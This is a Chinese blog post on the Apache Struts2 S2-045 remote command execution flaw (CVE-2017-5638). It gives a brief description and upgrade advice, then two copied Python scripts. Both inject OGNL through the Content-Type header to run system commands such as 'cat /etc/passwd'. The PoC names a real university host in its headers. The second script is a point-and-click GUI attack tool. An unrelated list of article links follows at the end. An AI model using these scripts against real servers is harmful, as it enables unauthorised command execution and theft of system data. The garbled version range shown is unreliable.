文章前半部分来自团队小伙伴阿德马的总结,后半部分的Poc和Exp是小编匆忙之际借鉴而来,感谢写Poc和Exp的伙伴~

安恒给官方上报的,然后官方选择了1个对国内来说比较敏感的时期发了公告出来,好蛋疼。

该漏洞的CVE编号是CVE-2017-5638(s2-045),攻击者利用该漏洞可以进行远程命令执行,从而获取更高的服务器权限。

漏洞描述:

查了点资料,发现跟struts2配置中struts.multipart.handler的设置有关,默认使用的就是Jakarta对应类org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest。也就是说struts2的此项设置使用了默认配置就会存在该漏洞。

攻击者通过修改http请求头中的Content-Type的值来触发该漏洞,进而执行命令获取更高的系统权限。

如图所示:

上图是使用了测试用poc对被攻击服务器执行了”whoami”的命令。

漏洞影响范围:

Struts 2.3.5 – Struts 2.3.3

Struts 2.5 – Struts 2.5.10

修复建议:

升级到Struts 2.3.32 或者 Struts 2.5.10.1(稳妥方法)

或者在struts2配置中修改struts.multipart.handler的配置(个人理解,未测试)

再贴个预警邮件,大家就都不用写了:

HI,ALL:

Apache Struts2又爆出了新的远程命令执行漏洞,对应CVE编号是CVE-2017-5638,请对受影响的struts2 版本进行升级处理。

Poc:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersheader1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}def poc():register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]='''%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()poc()

Exp:

#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersclass START():def __init__(self,root):self.root=rootself.show_W_Text = Text()self.show_url_ed = Label(root, text="str2")self.edit_url = Entry(root, text="输入地址")self.butt_whois = Button(root, text="kill",command=self.poc)self.show_url_ed.pack()self.edit_url.pack()self.butt_whois.pack()self.show_W_Text.pack()def poc(self):w_url = self.edit_url.get()text = self.show_W_Textregister_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(w_url, datagen, headers=header)response = urllib2.urlopen(request).read()text.insert(1.0, response)if __name__ == '__main__':root=Tk()root.title("str2 045")motion=START(root)mainloop()

struts2的漏洞相关推荐

  1. struts2 ognl 判断数据类型_新华三攻防系列之防护篇从防护角度看Struts2历史漏洞...

    前言 Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性.随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的 ...

  2. 给你汇报Struts2 S2-016漏洞修复的总结

    这篇文章主要介绍了Struts2 S2-016漏洞修复的总结,有需要的小伙伴可以进来参考下,来一起互相探讨一下哦 Struts2的S2-016漏洞是之前比较重大的漏洞,也是一些老系统的历史遗留问题 此 ...

  3. CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现

    全部题都是struts2框架漏洞 Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架 关于struts2漏洞,vulhub都有环境并且给出了漏洞原理和poc GitHub项目地 ...

  4. Struts2框架漏洞总结与复现(上) 含Struts2检测工具

    Struts2框架漏洞总结与复现 1.Struts2复现准备 2.Struts2框架漏洞复现 2.1.S2-001漏洞复现 2.1.1.漏洞原理 2.1.2.影响版本 2.1.3.手工复现 2.1.3 ...

  5. 程序世界系列之-struts2安全漏洞引发的安全杂谈(上)

    目录: 1.讨论关于struts 安全问题. 2.黑客文化. 3.如何降低安全漏洞的出现. 4.忠告建议. 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过. ...

  6. 灾难日:中国互联网惨遭Struts2高危漏洞摧残

    灾难日:中国互联网惨遭Struts2高危漏洞摧残 2013-07-18 11:25:37    41798 人阅读   作者: 萧萧 编辑:萧萧[ 爆料]   评论(13) Struts是Apache ...

  7. java struts2 安全漏洞 devMode 简介

    国家信息安全漏洞共享平台(CNVD)收录了由启明星辰公司提交的Apache struts2 devMode远程代码执行漏洞(CNVD-2016-04656).该漏洞产生的原因是由于开启了devMode ...

  8. 过滤器解决Struts2重定向漏洞

    编写过滤器控制类 package cn.csservice.cssdj.action.filter;import java.io.IOException;import javax.servlet.Fi ...

  9. 阿里云帮助云上用户应对Struts2高危漏洞

    2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件 ...

最新文章

  1. Linux Yum命令(转)
  2. 仿BlogEngine.NET的cnBlog主题
  3. VMware(虚拟机)的网络模式介绍
  4. ActiveMQ的queue以及topic两种消息处理机制分析
  5. mysql 字符串分区_Mysql分区表的原理和优缺点
  6. php链表删除元素,PHP之从反向删除单链表元素的问题谈起
  7. 【英语学习】4000 Words 【V1】【U02】The Laboratory
  8. jquery给title标签赋值
  9. linux 编译.sh,Linux内核编译步骤
  10. Smuxi 0.8.10 发布 - IRC 客户端软件
  11. 【Excel】多元一次方程组求解计算器
  12. 在Mac电脑中忘记管理员密码了如何处理?如何安全的管理自己的密码?
  13. 【有限元】最简单fluent流体分析实例-2D模型中带障碍物计算流体流速与压力分布
  14. ES已经安装了ik分词器,仍然报错analyzer [ik_max_word] not found for field
  15. html5内嵌式格式,如何使用内嵌式引入css样式表
  16. unicode中文数字与阿拉伯数字转换
  17. Windows 10源码一览!
  18. 使整个网站变黑白(灰色)的特效代码
  19. 网易高层赴京庆功 高调宣扬网游业绩
  20. 博达路由器常见功能教学11

热门文章

  1. Windows Hook(2)调用DLL函数
  2. 心跳检测以及应用层心跳包机制设计
  3. VMware14.0 安装 CentOS7.2
  4. GAP(全局平均池化层)操作
  5. 在SQL中使用DEFAULT约束
  6. Java——多线程实现的三种方式
  7. h5分享到朋友圈_微信朋友圈创意招聘广告制作方法 H5模板
  8. python处理中文字符串_处理python字符串中的中文字符
  9. 【操作系统】页面置换算法
  10. 45. 跳跃游戏 II golang 动态规划